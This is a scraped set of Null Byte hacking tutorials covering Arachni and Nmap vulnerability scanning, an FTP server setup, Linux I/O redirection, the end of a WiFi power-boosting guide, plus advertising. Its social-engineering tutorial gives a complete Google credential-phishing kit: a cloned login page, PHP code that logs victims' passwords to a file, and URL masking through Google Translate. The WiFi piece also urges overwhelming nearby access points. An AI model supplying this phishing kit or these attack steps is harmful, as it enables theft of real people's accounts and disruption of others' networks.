to:REG_BIN?=/lib/crda/regulatory.binAnd now you can continue like normal. Just have to do make and make install like normal in Step 6 and that's it!HOORAY! It's Finally Finished!WHEW!!! That was a long tutorial, eh? Well it was for me. Fortunately, you are now able to set your WiFi card to as high as you want! Now you can easily overwhelm any local AP even more! Or, you could maybe even find other uses for it! This is just a prelude, though, as I have another tutorial on the way that ties into overwhelming other APs.This was my first tutorial, though! Did you like it? Was I clear enough? Any questions? Please comment and give feedback or ask questions!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow to Hack Wi-Fi:Creating an Evil Twin Wireless Access Point to Eavesdrop on DataHack Like a Pro:How to Get Even with Your Annoying Neighbor by Bumping Them Off Their WiFi Network —UndetectedHow To:View Indoor Maps for Malls & Airports in Apple MapsHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3WiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetHow To:Build an Off-Grid Wi-Fi Voice Communication System with Android & Raspberry PiHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Switch or Connect to Wi-Fi Networks & Bluetooth Devices Right from the Control Center in iOS 13How To:Inconspicuously Sniff Wi-Fi Data Packets Using an ESP8266How To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Hunt Down Wi-Fi Devices with a Directional AntennaRaspberry Pi Alternatives:10 Single-Board Computers Worthy of Hacking Projects Big & SmallHow To:Fix Cellular & Wi-Fi Issues on Your iPhone in iOS 12How To:Hack Wi-Fi Networks with BettercapHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxGuide:Wi-Fi Cards and ChipsetsNews:Everything You Need to Know About the New Moto G7 PowerHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)How To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Control Anything with a Wi-Fi Relay Switch Using aRestHow To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiNews:PSP2 (Next Generation Portable) or NGPNews:Bounce Energy Races for The CureNews:Solar Powered Tent!!!How To:Get Free Wi-Fi from Hotels & MoreHow To:9 Tips for Maximizing Your Laptop's Battery LifeHow To:Auto-Toggle Your Android Device's Wi-Fi On and Off When Near or Away from a HotspotHow To:Change Your Android Device's Wi-Fi Country Code to Access Wireless Networks Abroad
How to Scan Websites for Vulnerabilities with Arachni « Null Byte :: WonderHowTo
Welcome to my very first tutorial ever. Today I will be teaching you how you can use Arachni to scan vulnerabilities of web applications. I welcome all criticism good or bad as a teaching method for myself.Most of my experience I have acquired using the trial of fire method, I love to tinker and push the boundaries of my field. Enough about me let's get stuck in.Before we get started I should state that this tutorial is for Linux based operating system's as I feel everyone who is in IT Security or interested in becoming an Ethical Hacker should be using some flavour of Linux.Step 1: Downloading, Extraction, Moving and Renaming.Let's begin by heading to the link below and downloading the 32 or 64bit version of Arachni. Reason's for choosing Linux is that the package is self-contained and no need to install any dependencies.http://www.arachni-scanner.com/download/Let's unpack this package, my default download location is /home/Downloads so let's cd and move it to the desktopcd /home/Downloadstar -xvzf arachni-1.4-0.5.10-linux-x8664.tar.gzNow we want to open up our explorer and drag and drop the extracted file to the Desktop, and right click rename to arachni.Step 2: Starting Everything Up.From here we are going to open a Terminal and execute the following commandscd /Desktop/arachnid/binls - to display all the files in the bin folder, we want to load arachniwebsudo ./arachniwebctrl + shift + t - opens a new tab in your current terminal session.sudo ./arachnirpcdThis start's our arachni web scanner which we can access at: localhost:9292User Name: [email protected]: administratorOnce logged in, we are greeted with a Welcome page that has some useful information on the homepage, such as Issues per scans and notifications about what you are involved with.Step 3: Executing Our Scan.For this tutorial, we are going to be using it straight out of the box, head to the Scan's tab while hovering over it, you are presented with a couple of options. Click on + New which takes you to a new page.From here it is pretty straight forward, input the target URL for this example we are usinghttps://www.hackthissite.org/.To the right of the Target, URL is a couple of options you can choose but we are going to keep it Default for this tutorial.In advanced options, you get a couple of choices like how many instances's you would like or scheduling options which you can setup to scan your site(s) and when you would like the scans to stop.Once you've filled in all the information click go, now all you have to do is wait.I left my scan running for a total of 18 minutes before hitting stop, which once you do it generates a report listing all the vulnerabilities. This was just a simple scan using the default scan, the other scan's are XSS and SQL Injection.So that's it for my tutorial on using Arachni for Web Vulnerability Assesment. Hope you enjoyed my tutorial as I might be making more depending on how this one goes.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Use Dorkbot for Automated Vulnerability DiscoveryHow To:Scan for Vulnerabilities on Any Website Using NiktoHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHack Like a Pro:How to Scan for Vulnerabilities with NessusAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHack Like a Pro:How to Find Website Vulnerabilities Using WiktoHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!How To:Probe Websites for Vulnerabilities More Easily with the TIDoS FrameworkHow To:Perform a Large-Scale Network Security Audit with OpenVAS's GSAHow To:13 QR Code Scanners That Won't Send You to Malicious Webpages on Your iPhoneHeartbleed Still Lingers:How to Check Your Android Device for VulnerabilitiesHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesHow To:Detect Vulnerabilities in a Web Application with UniscanHow To:Conduct Recon on a Web Target with Python ToolsHow To:Top 10 Exploit Databases for Finding VulnerabilitiesHack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)How To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)How To:Anti-Virus in Kali LinuxHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Discover Computers Vulnerable to EternalBlue & EternalRomance Zero-DaysNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsIPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop It
Master the Internet of Things with This Certification Bundle « Null Byte :: WonderHowTo
These days, everything is connected. No, really — we mean everything. Your phone, your smart speaker, and even appliances like stoves and refrigerators can be connected and communicate with one another. Welcome to the Internet of Things, the start of our interconnected future. It's projected by 2027 that there will be more than41 million internet-connected devicesin use around the world.With all of those devices communicating across the web, we're going to need people who can keep them safe. That's where you come in. Learn how the Internet of Things works, how devices communicate with one another, and how to protect with theIoT E-Degree Certification Bundle. It's on sale now for just $29.99!The Internet of Things will be present in every industry and every home someday, so it's time for you to get in front of the trend and learn how you can make the most of your knowledge. The IoT E-Degree Certification Bundle has more than 40 hours of professionally taught courses that will teach you the ins and outs of the growing network of devices. Learn aboutRaspberry Pi,Linux, andArduinoprogramming, plus learn how to create and secure an Internet of Things ecosystem.Work your way through this top-rated bundle to help advance your career, or just learn about the growing network of devices that we'll all be interacting with in the future. Plus, you'll get a certification at the end of the course to prove your capabilities.The IoT E-Degree Certification Bundle is valued at $200, but you can save 85% off that price right now. That meansyou'll pay just $29.99for a bundle of courses that will better position you for the future. It's a deal that you don't want to miss out on, so grab it while you can!Prices subject to change.On Sale Now:The IoT E-Degree Certification Bundle for Just $29.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Become a Master Problem Solver by Learning Data Analytics at HomeNews:You Can Master Adobe's Hottest Tools from Home for Only $34How To:Take the First Step Towards an In-Demand & Lucrative Career in IT for Under $35How To:Get Project Manager Certifications with Help from Scrum, Agile & PMPHow To:Master Adobe's Top Design Tools for Under $50 Right NowHow To:Make Your New Year's Resolution to Master Azure with This BundleHow To:Become an In-Demand IT Pro with This Cisco TrainingHow To:This 5-Course Data Analytics Bundle Is Just $49 TodayHow To:Prep for a Lucrative Project Management Career with These CoursesHow To:Expand Your Analytical & Payload-Building Skill Set with This In-Depth Excel TrainingHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Master Excel with This Certification BundleHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:Learn the Ins & Outs, Infrastructure & Vulnerabilities of Amazon's AWS Cloud Computing PlatformDeal Alert:Learn to Code for Only $39 While You're Stuck at HomeHow To:Hack Your Business Skills with These Excel CoursesHow To:Learn the Essential Skills to Start a Career in IT with This Affordable Online TrainingHow To:This Extensive Python Training Is Under $40 TodayHow To:This $1,300 Ethical Hacking Bundle Is on Sale for $40 TodayHow To:Learn the Most Widely Used Programming Language for $35How To:Take Your Productivity to the Next Level with This Google Masterclass BundleHow To:8 Web Courses to Supplement Your Hacking KnowledgeHow To:Become a Data-Driven Leader with This Certification BundleHow To:Learn to Code for Less Than $40How To:These High-Quality Courses Are Only $49.99How To:Make Excel Work for You with This Training BundleHow To:Dream of a White (Hat Hacker) Christmas with This BundleHow To:Become a Data Wizard with This Microsoft Excel & Power BI TrainingHow To:Harness the Power of Big Data with This 10-Course BundleHow To:Master the Adobe Creative Suite for $33How To:Go from Total Beginner to Cloud Computing Certified with This Top-Rated Bundle of Courses, Now 98% OffHow To:Learn Everything You Need to Become a Certified Developer & Project Management Pro for Less Than $40How To:Become a Productive Microsoft Apps Power User with 97% Off This Course BundleHow To:This Python Bundle Can Teach You Everything You Need to KnowHow To:10 Coding, SEO & More Courses on Sale Right Now That Will Turn You into a Pro DeveloperHow To:Learn to Draw Like a Pro for Under $40How To:Ready to Become a Top Project Manager? This 10-Course Bundle Will Teach You Scrum, Agile & PMPHow To:Master Python with This Top-Rated Bundle for Just $30How To:The One Engineering Certification You Don't Want to MissHow To:This Master Course Bundle on Coding Is Just $34.99
How to Run an FTP Server from Home with Linux « Null Byte :: WonderHowTo
FileTransferProtocol, orFTP,is a network protocol made for transferring files in a client and host fashion over aTransmissionControlProtocol (TCP) network, such as the internet. FTP is integrated into most browsers, and you have probably used it before. It is a common way to host files and transfer them easily. To access an FTP, a login is required, unless the server is configured to use anonymous logins (like the Arch Linux mirrors).In a home environment, having an FTP server can be a really cool thing. FTP is an easy way to host and share files between all of your computers, and even access your home FTP files when using Wi-Fi away from home. Beware, as FTP is an insecure protocol. A secure alternative isSFTP(SSH File Transfer Protocol).Today inNull Byte, we are going to set up an FTP server daemon on our systems. This will allow us to:Share files over the internet.Share files outside of a Virtual Machine.Escape a chroot.Host your own file repository that can be modified by other users over the internet.RequirementsLinuxRoot privilegesRouter administrator privilegesA router capable of port forwardingSome files to shareStep1Download & Install the DaemonText inboldis a command that must be entered in a terminal emulator.First, we have to install the FTP daemon of our choice. A daemon is just a program or service that runs in the background processes. I usevsftpd(very secure FTP daemon) for my FTP server. It is light on system resources, secure, small in size, and easy to configure.Download the vsftpd source from theofficial website.Change to yourDownloadsdirectory.cd ~/DownloadsConfigure the installation for your system../configureCompile and install vsftpd.make && sudo make installStep2Move Files to the FTP ServerLet's move our music to FTP for the example.sudo cp -R ~/music/* /srv/ftp/Step3Configure & Start the DaemonConfigure the daemon to not allow anonymous logging.From=YESto=NO.Depending on your distro, starting services is a different command. For Ubuntu, it isservice. Arch usesrc.d.sudo rc.d start vsftpdStep4Access the FTP Remotely on a BrowserLet's access our FTP from somewhere outside our network.Enableport forwardingfor port 21.Go towhatismyipand write down your external IP address.Open up an internet browser on a computer from outside of the network and type the following into the address bar.ftp://<ip address>/music/You can also use wget.wget ftp://<ipaddress>/music/Browse your music folder!Have fun playing with your own FTP server! Visit the Null ByteIRCand chat with all of us. You can also follow me onTwitterandGoogle+for updates.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viawebmastersbydesignRelatedHow To:Create a Metasploit Exploit in Few MinutesHow To:Access your computer remotely using DynDNSHow To:Access your home computer remotely with dynamic DNSHow To:Map FTP server shortcuts in the Microsoft Windows 7 ExplorerHow To:Setup FTP on your computer for your Mac Mini serverHow To:Set up an FTP server on a Windows PC with Internet Information Services (IIS)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)Hack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)Hack Like a Pro:How to Conduct a Simple Man-in-the-Middle AttackHow To:Use FileZilla to set up an FTP server for your websiteHow To:SSH and FTP into a serverHow To:Set up your FTP server in DreamweaverHow To:Using Hydra 5.4 to crack FTP passwordsHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:Push and Pull Remote Files Securely Over SSH with PipesHow To:Run a Free Web Server From Home on Windows or Linux with ApacheHack Logs and Linux Commands:What's Going On Here?How To:Use Cygwin to Run Linux Apps on WindowsHow To:Create a Custom Arch Linux DistroHow To:Remotely Control Computers Over VNC Securely with SSHHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:Flaw in the Latest Linux Graphical Server Allows Passwordless LoginsHow To:Code a Basic TCP/IP Client & Server Duo in PythonHow To:Create an SSH Tunnel Server and Client in LinuxNews:Server RunningNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesNews:Catch Creeps and Thieves in Action: Set Up a Motion-Activated Webcam DVR in LinuxHow To:Stream Media to a PS3 or Xbox 360 from Mac & Linux ComputersNews:The server timeNews:First Steps of Compiling a Program in LinuxHow To:Run Windows from Inside LinuxHow To:Recover Deleted Files in Linux
Advanced Social Engineering, Part 2: Hack Google Accounts with a Google Translator Exploit « Null Byte :: WonderHowTo
Google is our friend, but it still has its flaws as everything tends to. A little known flaw within the media giant allows phishing to take place on Google accounts that would completely bypass advanced web protection programs in user's browsers—as well as other protections that have been put in place by Google. How would it do this? The domain will read as if it is through Google itself.It also plays on human psychology, because the domain appears to be a trusted one that you would visit rather regularly. This kind of phishing allows people to steal credentials in plain-text, and by using this method, said hackers likely do so without anyone realizing.RequirementsA webhosting accountCpanel access to the webhostStep1Create a Gmail Phishing PageFirst, we need to make a phishing page to prepare.Open up a text document using notepad, or your choice in text editors.Go to the Googlelogin page.Right-click somewhere on the page, and clickView page source.Copy all of the contents of the source code and paste them into your text document.Hitctrl + f, and search for "action=" and change the method to "GET", and the text to the right of "action=" to "log.php".ClickFile > Save asand save it with the name "index.php" (make sure to click the drop-down menu to select "all files" if it's not selected already).Make a new text file, and paste the below as the contents (paste the raw text, not the numbered). This is the file written in PHP that logs the victim's login details.<?php$handle = fopen("passwords.txt", "a");foreach($_GET as $variable => $value) {fwrite($handle, $variable);fwrite($handle, "=");fwrite($handle, $value);fwrite($handle, "\r\n");}fwrite($handle, "\r\n");fclose($handle);exit;?>Save the file as "log.php". Again, make sure "all files" is selected in the file type drop-down menu.Log in to your hosting account, and upload both files to the root of your website (not in a folder).When credentials are logged, they will be in a file called "passwords.txt" in the root of your website. Check the box next to the "passwords.txt" file when you get some logs, and clickchmod. Change the file to 466 permissions, so other people can't read the victim's passwords.Step2Manipulating GoogleHow exactly does the manipulation work behind this?Google Translator. Google translator has a vulnerability that if an attacker creates a fake gmail login page and then translates it with the tool, they would get a perfectly crafted link masked by Google itself. Check out thisURLfor an example of a phishing page that was created and then masked after using the translation tool.This fools users into thinking the page is legit. I mean, look at the URL:Go toGoogle translate.Translate your page from a different language into English.Click the link and test.See how frighteningly easy it is to manipulate a website even as large as Google? Keep safe byalwaysanalyzing that URL.Want more Null Byte?Post to theforumsChat onIRCFollow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viakyrionRelatedHack Like a Pro:The Ultimate Social Engineering HackHack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackHow To:Translate Webpages in Safari on Your iPhoneHow To:Instantly Translate Foreign Text from Within Any App on Your HTC OneSocial Engineering:How to Use Persuasion to Compromise a Human TargetHow To:Use Social Engineering to Hack ComputersHow To:Turn Your iPhone into a Real-Time InterpreterWeekend Homework:How to Become a Null Byte Contributor (2/17/2012)How To:Sneak Past Web Filters and Proxy Blockers with Google TranslateListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Week 2)Listen In:Live Social Engineering Phone Calls with Professional Social EngineersListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Final Session)How To:The Official Google+ Insider's Guide IndexNews:Google social web engineer Joseph Smarr talks about lessons from Google+How To:Download Your Data with Google TakeoutHow To:Social Engineer Your Way Into an Amusement Park for FreeSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordSocial Engineering, Part 1:Scoring a Free Cell PhoneXbox LIVE Achievement:How to Earn Free Microsoft Points with Social EngineeringHow To:Advanced Social Engineering, Part 1: Exact Revenge on Craigslist Scammers with Tabnab PhishingHow To:Unban Your Xbox LIVE Account That is Banned Until 12/31/9999 by Tricking Microsoft's Banning SystemNews:Was Google Reader Already a Great Google Social Network?How To:Edit Your Google+ Account SettingsHow To:Score Free Game Product Keys with Social EngineeringNews:Google+ Pro Tips Weekly Round Up: Google Cleans UpHow To:Sync Your Google+ Posts with Facebook and TwitterNews:Should Kids Be Allowed to Use Facebook and Google+?Google+ Pro Tips Round Up:Week 7News:Top 13 Google Insiders to Follow on Google+News:22 Google Chrome Extensions to Make Google+ Even BetterNews:Google+ Pro Tips Weekly Round Up: Google+ Is GoogleNews:Should Google+ Require You to Use Your Real Name?News:Google+ to Support Pseudonyms, Google Apps & MoreNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreHow To:Search for Google+ Posts & Profiles with GoogleThe Social Network Wars:Google+ vs FacebookNews:Live Social EngineeringHow To:Proof of Social Engineering Success!News:Google Acquires Group Social Networking Site FridgeRemove Your Online Identity:The Ultimate Guide to Anonymity and Security on the Internet
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 16 (Stdin, Stdout, & Stderror) « Null Byte :: WonderHowTo
Welcome back, my budding hackers!Inprevious tutorials, we've looked at some of the basic commands and concepts for using Linux. Along the way, I realized that I've failed to provide you with some basic background material on thestdin,stdout, andstderror.In human language, these are often referred to as standard input (stdin), standard output (stdout), and standard error (stderror). These represent how and where Linux sends the output from your commands (stdout), where it receives its input (stdin), and where it sendsits error messages (stderror).Since you've now been using Linux for awhile, you realize that both standard output and standard error are sent to your computer screen. Both as the name implies, this is the standard place and not necessarily the only place. Linux let's us define where our output and error messages should go.Before we go any further, let's take a moment to define some terms.Standard Output (1)Whenever you complete a command, it must know where to send the output. You might want to send it to a file, a printer, the screen, etc. The default for standard output is the computer screen. Standard output is often referred to as stdout or simply use the numeric representation of 1.Standard Input (0)Standard input is where the program or command gets the information it needs. By default, in Linux this is the keyboard, but can be a file, etc. Standard input is often referred to as stdin or simply represented by the numeric representation of 0.Standard Error (2)When we make a mistake or our program throws an error, it send the error message to stanadard error. By default, this is our computer screen. Standard error is often referred to as stderror or simply represented by the numeral 2.When we want to direct any of these three from the command line or a script, we use the numeric representation of each, 0 for stdin, 1 for stdout, and 2 for stderr.Step 1: List Two DirectoriesTo demonstrate how we can use and manipulation these I/O streams, let's do a listing of two different directories,/etc/hostsand/etc/snort.In Linux, you can do listings of more than one directory at a time. The/etc/snortdirectory is where our configuration file for snort resides and/etc/hostsis a directory where we can set static name resolution in Linux (I'll do a new Linux tutorial on DNS and name resolution in Linux soon).If we wanted to see the two directories, we could type:ls /etc/hosts /etc/snortAs you can see, the listing comes back to us by the standard output to our computer screen showing us the listing of both directories.Now, let's try the same thing, but this time let's list a directory that doesn't exist, such as/etc/aircrack-ng.ls /etc/hosts /etc/aircrack-ngAs you can see, our BASH shell comes back with two outputs, the standard output frometc/hostsand the standard error from the non-existent directory.Step 2: Send Standard Output to a FileNext, let's suppose that we want to separate our standard output from our standard error. Imagine we're running a script where we don't want to see our output messages until after the script has run, but we need to see error messages on our screen immediately. We could rewrite our command as:ls /etc/hosts /etc/aircrack-ng 1>goodoutputLet's now imagine just the reverse of our previous scenario where instead we want to see our output on screen, but store our error messages to a separate file for viewing later. We could write:ls /etc/hosts /etc/aircrack-ng 2>erroroutputNow, after the command has been run, we can go back andcattheerroroutputfile to view any possible error messages.Step 3: Send Standard Output & Standard Error to Separate FileNow, let's imagine a script where we want both our standard output and standard error to be directed to separate files for viewing later. We can type:ls /etc/hosts /etc/aircrack-ng 1>goodoutput 2>erroroutputNotice that nothing comes back to our screen, neither standard output or standard error.Step 4: Send Both Standard Output & Standard Input to Same FileFinally, what if we wanted both standard error and standard output to be written to same file? We could type:ls /etc/hosts /etc/aircrack-ng >goodoutput 2>&1Notice that I did not use the 1 before the>goodoutputas BASH defaults to stdout if no number is used.Hope you enjoyed this quick lesson in Linux stdin, stdout, and stderror, but we have so much more coming, sokeep coming backmy budding hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)How To:Perl for the Aspiring Hacker - Part 1 - VariablesHow To:Linux Basics for the Aspiring Hacker: Managing Hard DrivesHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)News:You've Been HackedHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 4 (Finding Files)Hack Like a Pro:Perl Scripting for the Aspiring Hacker, Part 1Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Goodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingNews:Let Me Introduce MyselfCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingHow To:How Hackers Take Your Encrypted Passwords & Crack Them
How to Spider Web Pages with Nmap for SQLi Vulnerabilities « Null Byte :: WonderHowTo
The already robust and ingenious Nmap tool has received a whole slew of new scanning scripts that can be used to do all sorts of naughty endeavors. Notably, the SQLi module, since it is a necessary evil that we must cover here at Null Byte. This major update is going to fuel today's lesson.SQLi stands forSeverQueryLanguageInjection. This is a fancy term for exploiting the program that manages and organizes some web databases. SQLi is a fairly old exploit, yet it is still somehow very prominent in today's world. When a web administrator accidentally (at least, I hope it was an accident) allows remote SQL, the server's information can be viewed and manipulated by passing the page with the broken script an SQL injection.These infamous and easy hacks were used against Sony too many times to count, so they are still very much prominent.RequirementsLinux or Mac OSXStep1Install the Latest NmapText inboldis a terminal command.If you're on Mac, you need to make sure you have Apple developer tools installed when compiling the software.Download the latest Nmap with the scriptshere.Extract the archive source.tar zxvfConfigure and compile the program../configure && makeInstall the software.sudo make isntallYou can also just extract and run the program binaries from within their respective folders (i.e. /nmap, /zenmap) and run them as their binary executables../nmapStep2Scanning for SQLi Vulns with NmapPick a website to scan (make sure you have consent, or that you do not plan to do anything illegal to the site).Ping it for its IP address.ping -c 3 www.example.comCopy the IP address it spits back and save it for use later.Enter this script to scan the root of your choice webserver, spidering for SQLi vulnerabilities. Replace127.0.0.1with the IP of your chosen server.nmap -T4 -A -v --script sql-injection 127.0.0.1Watch this video to get an understanding of how to scan within the GUI interface.Please enable JavaScript to watch this video.Be a Part of Null Byte!Post to theforumsChat onIRCFollow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHow To:SQL Injection Finding Vulnerable Websites..How To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!Hack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHow To:Easily Detect CVEs with Nmap ScriptsAdvanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowHow To:Hack Apache Tomcat via Malicious WAR File UploadAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Identify Web Application Firewalls with Wafw00f & NmapHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:Leverage a Directory Traversal Vulnerability into Code ExecutionHack Like a Pro:How to Find Website Vulnerabilities Using WiktoHack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)How to Hack Databases:Hunting for Microsoft's SQL ServerHow To:Beginner's Guide to OWASP Juice Shop, Your Practice Hacking Grounds for the 10 Most Common Web App VulnerabilitiesNews:How-to Design Amazing Web Pages Using Basic HTMLHow To:Exploit Remote File Inclusion to Get a ShellHow To:Get Started Writing Your Own NSE Scripts for NmapHow To:Detect Vulnerabilities in a Web Application with UniscanHow To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHack Like a Pro:How to Hack Web Apps, Part 6 (Using OWASP ZAP to Find Vulnerabilities)Hacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreWeekend Homework:How to Become a Null Byte ContributorNews:Null Byte Is Calling for Contributors!How To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)How To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItIPsec Tools of the Trade:Don't Bring a Knife to a 